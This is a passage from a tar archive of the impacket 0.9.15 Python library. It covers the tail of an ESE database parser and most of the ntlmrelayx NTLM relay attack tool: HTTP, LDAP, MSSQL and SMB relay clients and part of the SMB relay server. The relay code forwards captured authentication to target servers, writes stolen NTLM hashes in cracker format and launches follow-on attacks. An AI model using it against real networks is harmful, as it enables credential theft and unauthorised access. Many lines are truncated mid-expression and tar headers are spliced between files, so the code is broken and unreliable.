if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
# Space Tree
spaceTreeHeader = ESENT_SPACE_TREE_HEADER(data)
spaceTreeHeader.dump()
else:
leafHeader = ESENT_LEAF_HEADER(data)
leafHeader.dump()
# Print the leaf/branch tags
for tagNum in range(1,self.record['FirstAvailablePageTag']):
flags, data = self.getTag(tagNum)
if self.record['PageFlags'] & FLAGS_LEAF == 0:
# Branch page
branchEntry = ESENT_BRANCH_ENTRY(flags, data)
branchEntry.dump()
elif self.record['PageFlags'] & FLAGS_LEAF > 0:
# Leaf page
if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
# Space Tree
spaceTreeEntry = ESENT_SPACE_TREE_ENTRY(data)
#spaceTreeEntry.dump()
elif self.record['PageFlags'] & FLAGS_INDEX > 0:
# Index Entry
indexEntry = ESENT_INDEX_ENTRY(data)
#indexEntry.dump()
elif self.record['PageFlags'] & FLAGS_LONG_VALUE > 0:
# Long Page Value
LOG.error('Long value still not supported')
raise
else:
# Table Value
leafEntry = ESENT_LEAF_ENTRY(flags, data)
dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(leafEntry['EntryData'])
dataDefinitionHeader.dump()
catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(leafEntry['EntryData'][len(dataDefinitionHeader):])
catalogEntry.dump()
hexdump(leafEntry['EntryData'])
def getTag(self, tagNum):
if self.record['FirstAvailablePageTag'] < tagNum:
LOG.error('Trying to grab an unknown tag 0x%x' % tagNum)
raise
tags = self.data[-4*self.record['FirstAvailablePageTag']:]
baseOffset = len(self.record)
for i in range(tagNum):
tags = tags[:-4]
tag = tags[-4:]
if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] >= 17 and self.__DBHeader['PageSize'] > 8192:
valueSize = unpack('> 5
tmpData[1] = chr(ord(tmpData[1]) & 0x1f)
tagData = "".join(tmpData)
else:
valueSize = unpack('> 13
valueOffset = unpack(' 127:
numEntries = dataDefinitionHeader['LastVariableDataType'] - 127
else:
numEntries = dataDefinitionHeader['LastVariableDataType']
itemLen = unpack(' 0:
# Leaf page
if page.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
pass
elif page.record['PageFlags'] & FLAGS_INDEX > 0:
pass
elif page.record['PageFlags'] & FLAGS_LONG_VALUE > 0:
pass
else:
# Table Value
leafEntry = ESENT_LEAF_ENTRY(flags, data)
self.__addItem(leafEntry)
def parseCatalog(self, pageNum):
# Parse all the pages starting at pageNum and commit table data
page = self.getPage(pageNum)
self.parsePage(page)
for i in range(1, page.record['FirstAvailablePageTag']):
flags, data = page.getTag(i)
if page.record['PageFlags'] & FLAGS_LEAF == 0:
# Branch page
branchEntry = ESENT_BRANCH_ENTRY(flags, data)
self.parseCatalog(branchEntry['ChildPageNumber'])
def readHeader(self):
LOG.debug("Reading Boot Sector for %s" % self.__volumeName)
def getPage(self, pageNum):
LOG.debug("Trying to fetch page %d (0x%x)" % (pageNum, (pageNum+1)*self.__pageSize))
self.__DB.seek((pageNum+1)*self.__pageSize, 0)
data = self.__DB.read(self.__pageSize)
while len(data) < self.__pageSize:
remaining = self.__pageSize - len(data)
data += self.__DB.read(remaining)
# Special case for the first page
if pageNum <= 0:
return data
else:
return ESENT_PAGE(self.__DBHeader, data)
def close(self):
self.__DB.close()
def openTable(self, tableName):
# Returns a cursos for later use
if tableName in self.__tables:
entry = self.__tables[tableName]['TableEntry']
dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])
catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(entry['EntryData'][len(dataDefinitionHeader):])
# Let's position the cursor at the leaf levels for fast reading
pageNum = catalogEntry['FatherDataPageNumber']
done = False
while done is False:
page = self.getPage(pageNum)
if page.record['FirstAvailablePageTag'] == 1:
# There are no records
done = True
for i in range(1, page.record['FirstAvailablePageTag']):
flags, data = page.getTag(i)
if page.record['PageFlags'] & FLAGS_LEAF == 0:
# Branch page, move on to the next page
branchEntry = ESENT_BRANCH_ENTRY(flags, data)
pageNum = branchEntry['ChildPageNumber']
break
else:
done = True
break
cursor = TABLE_CURSOR
cursor['TableData'] = self.__tables[tableName]
cursor['FatherDataPageNumber'] = catalogEntry['FatherDataPageNumber']
cursor['CurrentPageData'] = page
cursor['CurrentTag'] = 0
return cursor
else:
return None
def __getNextTag(self, cursor):
page = cursor['CurrentPageData']
if cursor['CurrentTag'] >= page.record['FirstAvailablePageTag']:
# No more data in this page, chau
return None
flags, data = page.getTag(cursor['CurrentTag'])
if page.record['PageFlags'] & FLAGS_LEAF > 0:
# Leaf page
if page.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
raise
elif page.record['PageFlags'] & FLAGS_INDEX > 0:
raise
elif page.record['PageFlags'] & FLAGS_LONG_VALUE > 0:
raise
else:
# Table Value
leafEntry = ESENT_LEAF_ENTRY(flags, data)
return leafEntry
return None
def getNextRow(self, cursor):
cursor['CurrentTag'] += 1
tag = self.__getNextTag(cursor)
#hexdump(tag)
if tag is None:
# No more tags in this page, search for the next one on the right
page = cursor['CurrentPageData']
if page.record['NextPageNumber'] == 0:
# No more pages, chau
return None
else:
cursor['CurrentPageData'] = self.getPage(page.record['NextPageNumber'])
cursor['CurrentTag'] = 0
return self.getNextRow(cursor)
else:
return self.__tagToRecord(cursor, tag['EntryData'])
# We never should get here
raise
def __tagToRecord(self, cursor, tag):
# So my brain doesn't forget, the data record is composed of:
# Header
# Fixed Size Data (ID < 127)
# The easiest to parse. Their size is fixed in the record. You can get its size
# from the Column Record, field SpaceUsage
# Variable Size Data (127 < ID < 255)
# At VariableSizeOffset you get an array of two bytes per variable entry, pointing
# to the length of the value. Values start at:
# numEntries = LastVariableDataType - 127
# VariableSizeOffset + numEntries * 2 (bytes)
# Tagged Data ( > 255 )
# After the Variable Size Value, there's more data for the tagged values.
# Right at the beggining there's another array (taggedItems), pointing to the
# values, size.
#
# The interesting thing about this DB records is there's no need for all the columns to be there, hence
# saving space. That's why I got over all the columns, and if I find data (of any type), i assign it. If
# not, the column's empty.
#
# There are a lot of caveats in the code, so take your time to explore it.
#
# ToDo: Better complete this description
#
record = OrderedDict()
taggedItems = OrderedDict()
taggedItemsParsed = False
dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(tag)
#dataDefinitionHeader.dump()
variableDataBytesProcessed = (dataDefinitionHeader['LastVariableDataType'] - 127) * 2
prevItemLen = 0
tagLen = len(tag)
fixedSizeOffset = len(dataDefinitionHeader)
variableSizeOffset = dataDefinitionHeader['VariableSizeOffset']
columns = cursor['TableData']['Columns']
for column in columns.keys():
columnRecord = columns[column]['Record']
#columnRecord.dump()
if columnRecord['Identifier'] <= dataDefinitionHeader['LastFixedSize']:
# Fixed Size column data type, still available data
record[column] = tag[fixedSizeOffset:][:columnRecord['SpaceUsage']]
fixedSizeOffset += columnRecord['SpaceUsage']
elif 127 < columnRecord['Identifier'] <= dataDefinitionHeader['LastVariableDataType']:
# Variable data type
index = columnRecord['Identifier'] - 127 - 1
itemLen = unpack(' 255:
# Have we parsed the tagged items already?
if taggedItemsParsed is False and (variableDataBytesProcessed+variableSizeOffset) < tagLen:
index = variableDataBytesProcessed+variableSizeOffset
#hexdump(tag[index:])
endOfVS = self.__pageSize
firstOffsetTag = (unpack('= 17 and self.__DBHeader['PageSize'] > 8192:
flagsPresent = 1
else:
flagsPresent = (unpack('= firstOffsetTag:
# We reached the end of the variable size array
break
# Calculate length of variable items
# Ugly.. should be redone
prevKey = taggedItems.keys()[0]
for i in range(1,len(taggedItems)):
offset0, length, flags = taggedItems[prevKey]
offset, _, _ = taggedItems.items()[i][1]
taggedItems[prevKey] = (offset0, offset-offset0, flags)
#print "ID: %d, Offset: %d, Len: %d, flags: %d" % (prevKey, offset0, offset-offset0, flags)
prevKey = taggedItems.keys()[i]
taggedItemsParsed = True
# Tagged data type
if taggedItems.has_key(columnRecord['Identifier']):
offsetItem = variableDataBytesProcessed + variableSizeOffset + taggedItems[columnRecord['Identifier']][0]
itemSize = taggedItems[columnRecord['Identifier']][1]
# If item have flags, we should skip them
if taggedItems[columnRecord['Identifier']][2] > 0:
itemFlag = ord(tag[offsetItem:offsetItem+1])
offsetItem += 1
itemSize -= 1
else:
itemFlag = 0
#print "ID: %d, itemFlag: 0x%x" %( columnRecord['Identifier'], itemFlag)
if itemFlag & (TAGGED_DATA_TYPE_COMPRESSED ):
LOG.error('Unsupported tag column: %s, flag:0x%x' % (column, itemFlag))
record[column] = None
elif itemFlag & TAGGED_DATA_TYPE_MULTI_VALUE:
# ToDo: Parse multi-values properly
LOG.debug('Multivalue detected in column %s, returning raw results' % (column))
record[column] = (hexlify(tag[offsetItem:][:itemSize]),)
else:
record[column] = tag[offsetItem:][:itemSize]
else:
record[column] = None
else:
record[column] = None
# If we understand the data type, we unpack it and cast it accordingly
# otherwise, we just encode it in hex
if type(record[column]) is tuple:
# A multi value data, we won't decode it, just leave it this way
record[column] = record[column][0]
elif columnRecord['ColumnType'] == JET_coltypText or columnRecord['ColumnType'] == JET_coltypLongText:
# Let's handle strings
if record[column] is not None:
if columnRecord['CodePage'] not in StringCodePages:
LOG.error('Unknown codepage 0x%x'% columnRecord['CodePage'])
raise
stringDecoder = StringCodePages[columnRecord['CodePage']]
record[column] = record[column].decode(stringDecoder)
else:
unpackData = ColumnTypeSize[columnRecord['ColumnType']]
if record[column] is not None:
if unpackData is None:
record[column] = hexlify(record[column])
else:
unpackStr = unpackData[1]
unpackSize = unpackData[0]
record[column] = unpack(unpackStr, record[column])[0]
return record
impacket-0.9.15/impacket/examples/ 0000700 0000765 0000000 00000000000 12734532622 017061 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/examples/__init__.py 0000600 0000765 0000000 00000000005 12734531507 021170 0 ustar beto wheel 0000000 0000000 pass
impacket-0.9.15/impacket/examples/logger.py 0000600 0000765 0000000 00000003004 12734531507 020712 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: This logger is intended to be used by impacket instead
# of printing directly. This will allow other libraries to use their
# custom logging implementation.
#
import logging
import sys
# This module can be used by scripts using the Impacket library
# in order to configure the root logger to output events
# generated by the library with a predefined format
# If the scripts want to generate log entries, they can write
# directly to the root logger (logging.info, debug, etc).
class ImpacketFormatter(logging.Formatter):
'''
Prefixing logged messages through the custom attribute 'bullet'.
'''
def __init__(self):
logging.Formatter.__init__(self,'%(bullet)s %(message)s', None)
def format(self, record):
if record.levelno == logging.INFO:
record.bullet = '[*]'
elif record.levelno == logging.DEBUG:
record.bullet = '[+]'
elif record.levelno == logging.WARNING:
record.bullet = '[!]'
else:
record.bullet = '[-]'
return logging.Formatter.format(self, record)
def init():
# We add a StreamHandler and formatter to the root logger
handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(ImpacketFormatter())
logging.getLogger().addHandler(handler)
logging.getLogger().setLevel(logging.INFO)
impacket-0.9.15/impacket/examples/ntlmrelayx/ 0000700 0000765 0000000 00000000000 12734532622 021260 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/examples/ntlmrelayx/__init__.py 0000600 0000765 0000000 00000000005 12734531507 023367 0 ustar beto wheel 0000000 0000000 pass
impacket-0.9.15/impacket/examples/ntlmrelayx/clients/ 0000700 0000765 0000000 00000000000 12734532622 022721 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/examples/ntlmrelayx/clients/__init__.py 0000600 0000765 0000000 00000000260 12734531507 025033 0 ustar beto wheel 0000000 0000000 from mssqlrelayclient import MSSQLRelayClient
from smbrelayclient import SMBRelayClient
from ldaprelayclient import LDAPRelayClient
from httprelayclient import HTTPRelayClient
impacket-0.9.15/impacket/examples/ntlmrelayx/clients/httprelayclient.py 0000600 0000765 0000000 00000005166 12734531507 026521 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
# HTTP(s) client for relaying NTLMSSP authentication to webservers
#
import logging
from httplib import HTTPConnection, ResponseNotReady
import base64
class HTTPRelayClient:
def __init__(self, target):
# Target comes as protocol://target:port/path
self.target = target
_, host, path = target.split(':')
host = host[2:]
self.path = '/' + path.split('/')[1]
self.session = HTTPConnection(host)
self.lastresult = None
def sendNegotiate(self,negotiateMessage):
#Check if server wants auth
self.session.request('GET', self.path)
res = self.session.getresponse()
res.read()
if res.status != 401:
logging.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)
try:
if 'NTLM' not in res.getheader('WWW-Authenticate'):
logging.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))
return False
except KeyError:
logging.error('No authentication requested by the server for url %s' % self.target)
return False
#Negotiate auth
negotiate = base64.b64encode(negotiateMessage)
headers = {'Authorization':'NTLM %s' % negotiate}
self.session.request('GET', self.path ,headers=headers)
res = self.session.getresponse()
res.read()
try:
serverChallenge = base64.b64decode(res.getheader('WWW-Authenticate')[5:])
return serverChallenge
except (IndexError, KeyError):
logging.error('No NTLM challenge returned from server')
def sendAuth(self,authenticateMessageBlob, serverChallenge=None):
#Negotiate auth
auth = base64.b64encode(authenticateMessageBlob)
headers = {'Authorization':'NTLM %s' % auth}
self.session.request('GET', self.path,headers=headers)
res = self.session.getresponse()
if res.status == 401:
return False
else:
logging.info('HTTP server returned error code %d, treating as a succesful login' % res.status)
#Cache this
self.lastresult = res.read()
return True
#SMB Relay server needs this
@staticmethod
def get_encryption_key():
return None impacket-0.9.15/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py 0000600 0000765 0000000 00000006252 12734531507 026457 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
# LDAP client for relaying NTLMSSP authentication to LDAP servers
# The way of using the ldap3 library is quite hacky, but its the best
# way to make the lib do things it wasn't designed to without touching
# its code
#
from ldap3 import Server, Connection, ALL, NTLM, RESULT_SUCCESS, MODIFY_ADD
from ldap3.operation import bind
class LDAPRelayClient:
MODIFY_ADD = MODIFY_ADD
def __init__(self,server,port=None):
self.target = server
self.negotiateMessage = None
self.authenticateMessageBlob = None
self.s = None
self.c = None
def init_connection(self):
self.s = Server(self.target, get_info=ALL)
self.c = Connection(self.s, user="a", password="b", authentication=NTLM)
self.c.open(False)
def sendNegotiate(self,negotiateMessage):
self.negotiateMessage = negotiateMessage
self.init_connection()
with self.c.lock:
result = None
if not self.c.sasl_in_progress:
self.c.sasl_in_progress = True
request = bind.bind_operation(self.c.version, 'SICILY_PACKAGE_DISCOVERY')
response = self.c.post_send_single_response(self.c.send('bindRequest', request, None))
result = response[0]
sicily_packages = result['server_creds'].decode('ascii').split(';')
if 'NTLM' in sicily_packages: # NTLM available on server
request = bind.bind_operation(self.c.version, 'SICILY_NEGOTIATE_NTLM', self)
response = self.c.post_send_single_response(self.c.send('bindRequest', request, None))
result = response[0]
if result['result'] == RESULT_SUCCESS:
return result['server_creds']
#This is a fake function for ldap3 which wants an NTLM client with specific methods
def create_negotiate_message(self):
return self.negotiateMessage
def sendAuth(self,authenticateMessageBlob, serverChallenge=None):
with self.c.lock:
result = None
self.authenticateMessageBlob = authenticateMessageBlob
request = bind.bind_operation(self.c.version, 'SICILY_RESPONSE_NTLM', self, None)
response = self.c.post_send_single_response(self.c.send('bindRequest', request, None))
result = response[0]
self.c.sasl_in_progress = False
if result['result'] == RESULT_SUCCESS:
self.c.bound = True
self.c.refresh_server_info()
return result
#This is a fake function for ldap3 which wants an NTLM client with specific methods
def create_authenticate_message(self):
return self.authenticateMessageBlob
#Placeholder function for ldap3
def parse_challenge_message(self,message):
pass
#SMB Relay server needs this
@staticmethod
def get_encryption_key():
return None impacket-0.9.15/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py 0000600 0000765 0000000 00000007544 12734531507 026703 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
# MSSQL client for relaying NTLMSSP authentication to MSSQL servers
#
import logging
import random
import string
from impacket import tds
from impacket.tds import DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \
TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN
try:
import OpenSSL
from OpenSSL import SSL, crypto
except Exception:
logging.critical("pyOpenSSL is not installed, can't continue")
class MSSQLRelayClient(tds.MSSQL):
def __init__(self, address, port=1433, rowsPrinter=DummyPrint()):
tds.MSSQL.__init__(self,address, port, rowsPrinter)
self.resp = None
def init_connection(self):
self.connect()
#This is copied from tds.py
resp = self.preLogin()
if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
logging.info("Encryption required, switching to TLS")
# Switching to TLS now
ctx = SSL.Context(SSL.TLSv1_METHOD)
ctx.set_cipher_list('RC4')
tls = SSL.Connection(ctx,None)
tls.set_connect_state()
while True:
try:
tls.do_handshake()
except SSL.WantReadError:
data = tls.bio_read(4096)
self.sendTDS(TDS_PRE_LOGIN, data,0)
tds = self.recvTDS()
tls.bio_write(tds['Data'])
else:
break
# SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
# Transport Layer Security(TLS), limit data fragments to 16k in size.
self.packetSize = 16*1024-1
self.tlsSocket = tls
self.resp = resp
def sendNegotiate(self,negotiateMessage):
self.init_connection()
#Also partly copied from tds.py
login = TDS_LOGIN()
login['HostName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le')
login['AppName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le')
login['ServerName'] = self.server.encode('utf-16le')
login['CltIntName'] = login['AppName']
login['ClientPID'] = random.randint(0,1024)
login['PacketSize'] = self.packetSize
login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON
login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
# NTLMSSP Negotiate
auth = negotiateMessage
login['SSPI'] = str(auth)
login['Length'] = len(str(login))
# Send the NTLMSSP Negotiate
self.sendTDS(TDS_LOGIN7, str(login))
# According to the spects, if encryption is not required, we must encrypt just
# the first Login packet :-o
if self.resp['Encryption'] == TDS_ENCRYPT_OFF:
self.tlsSocket = None
tds = self.recvTDS()
return tds['Data'][3:]
def sendAuth(self,authenticateMessageBlob, serverChallenge=None):
#Also partly copied from tds.py
self.sendTDS(TDS_SSPI, str(authenticateMessageBlob))
tds = self.recvTDS()
self.replies = self.parseReply(tds['Data'])
print repr(self.replies)
if self.replies.has_key(TDS_LOGINACK_TOKEN):
#Once we are here, there is a full connection and we can
#do whatever the current user has rights to do
return True
else:
return False
#SMB Relay server needs this
@staticmethod
def get_encryption_key():
return None impacket-0.9.15/impacket/examples/ntlmrelayx/clients/smbrelayclient.py 0000600 0000765 0000000 00000026665 12734531507 026332 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# SMB Relay Server
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This is the SMB client which initiates the connection to an
# SMB server and relays the credentials to this server.
import logging
from struct import pack, unpack
from binascii import unhexlify, hexlify
from impacket import smb, ntlm
from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \
SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \
SMBSessionSetupAndX_Extended_Response_Parameters
class SMBRelayClient(smb.SMB):
def __init__(self, remote_name, extended_security = True, sess_port = 445):
self._extendedSecurity = extended_security
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
smb.SMB.__init__(self,remote_name, remote_name, sess_port = sess_port)
def neg_session(self):
neg_sess = smb.SMB.neg_session(self, extended_security = self._extendedSecurity)
return neg_sess
def setUid(self,uid):
self._uid = uid
def setDomainAccount( self, machineAccount, machineHashes, domainIp):
self.machineAccount = machineAccount
self.machineHashes = machineHashes
self.domainIp = domainIp
if self._SignatureRequired is True:
if self.domainIp is None:
logging.error("Signature is REQUIRED on the other end, attack will not work")
else:
logging.info("Signature is REQUIRED on the other end, using NETLOGON approach")
def netlogonSessionKey(self, challenge, authenticateMessageBlob):
# Here we will use netlogon to get the signing session key
logging.info("Connecting to %s NETLOGON service" % self.domainIp)
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(respToken2['ResponseToken'] )
_, machineAccount = self.machineAccount.split('/')
domainName = authenticateMessage['domain_name'].decode('utf-16le')
try:
av_pairs = authenticateMessage['ntlm'][44:]
av_pairs = ntlm.AV_PAIRS(av_pairs)
serverName = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
except:
# We're in NTLMv1, not supported
return STATUS_ACCESS_DENIED
stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if len(self.machineHashes) > 0:
lmhash, nthash = self.machineHashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678')
serverChallenge = resp['ServerChallenge']
if self.machineHashes == '':
ntHash = None
else:
ntHash = unhexlify(self.machineHashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
ppp, 0x600FFFFF)
clientStoredCredential = pack('> 16
packet['ErrorClass'] = errorCode & 0xff
# Reset the UID
if self.target[0] == 'SMB':
client.setUid(0)
logging.error("Authenticating against %s as %s\%s FAILED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name']))
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],self.target)
#del (smbData[self.target])
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
logging.info("Authenticating against %s as %s\%s SUCCEED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name']))
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],self.target)
ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] )
logging.info(ntlm_hash_data['hash_string'])
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath())
del (smbData[self.target])
self.do_attack(client)
# Now continue with the server
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = '\x00'
# Status SUCCESS
errorCode = STATUS_SUCCESS
# Let's store it in the connection data
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
else:
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
else:
# Process Standard Security
#TODO: Fix this for other protocols than SMB [!]
respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
respData = smb.SMBSessionSetupAndXResponse_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Data()
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
#############################################################
# SMBRelay
smbClient = smbData[self.target]['SMBClient']
if sessionSetupData['Account'] != '':
#TODO: Fix this for other protocols than SMB [!]
clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
# Reset the UID
smbClient.setUid(0)
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],self.target)
return None, [packet], errorCode
# Now continue with the server
else:
# We have a session, create a thread and do whatever we want
ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'] )
logging.info(ntlm_hash_data['hash_string'])
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath())
#TODO: Fix this for other protocols than SMB [!]
clientThread = self.config.attacks['SMB'](self.config,smbClient,self.exeFile,self.command)
clientThread.start()
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],self.target)
# Remove the target server from our connection list, the work is done
del (smbData[self.target])
# Now continue with the server
#############################################################
# Do the verification here, for just now we grant access
# TODO: Manage more UIDs for the same session
errorCode = STATUS_SUCCESS
connData['Uid'] = 10
respParameters['Action'] = 0
respData['NativeOS'] = smbServer.getServerOS()
respData['NativeLanMan'] = smbServer.getServerOS()
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
# From now on, the client can ask for other commands
connData['Authenticated'] = True
#############################################################
# SMBRelay
smbServer.setConnectionData('SMBRelay', smbData)
#############################################################
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
#Initialize the correct client for the relay target
def init_client(self,extSec):
if self.target[0] == 'SMB':
client = SMBRelayClient(self.target[1], extended_security = extSec)
client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
client.set_timeout(60)
if self.target[0] == 'MSSQL':
client = MSSQLRelayClient(self.target[1],self.target[2])
if self.target[0] == 'LDAP' or self.target[0] == 'LDAPS':
client = LDAPRelayClient("%s://%s:%d" % (self.target[0].lower(),self.target[1],self.target[2]))
if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':
client = HTTPRelayClient("%s://%s:%d/%s" % (self.target[0].lower(),self.target[1],self.target[2],self.target[3]))
return client
#Do the NTLM negotiate
def do_ntlm_negotiate(self,client,token):
#Since the clients all support the same operations there is no target protocol specific code needed for now
if 'LDAP' in self.target[0]:
#Remove the message signing flag
#For LDAP this is required otherwise it triggers LDAP signing
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
#negotiateMessage['flags'] ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
clientChallengeMessage = client.sendNegotiate(negotiateMessage.getData())
else:
clientChallengeMessage = client.sendNegotiate(token)
challengeMessage = ntlm.NTLMAuthChallenge()
challengeMessage.fromString(clientChallengeMessage)
return challengeMessage
#Do NTLM auth
def do_ntlm_auth(self,client,SPNEGO_token,authenticateMessage):
#The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB
respToken2 = SPNEGO_NegTokenResp(SPNEGO_token)
token = respToken2['ResponseToken']
clientResponse = None
if self.target[0] == 'SMB':
clientResponse, errorCode = client.sendAuth(SPNEGO_token,authenticateMessage)
if self.target[0] == 'MSSQL':
#This client needs a proper response code
try:
result = client.sendAuth(token)
if result: #This contains a boolean
errorCode = STATUS_SUCCESS
else:
errorCode = STATUS_ACCESS_DENIED
except Exception, e:
logging.error("NTLM Message type 3 against %s FAILED" % self.target[1])
logging.error(str(e))
errorCode = STATUS_ACCESS_DENIED
if self.target[0] == 'LDAP' or self.target[0] == 'LDAPS':
#This client needs a proper response code
try:
result = client.sendAuth(token) #Result dict
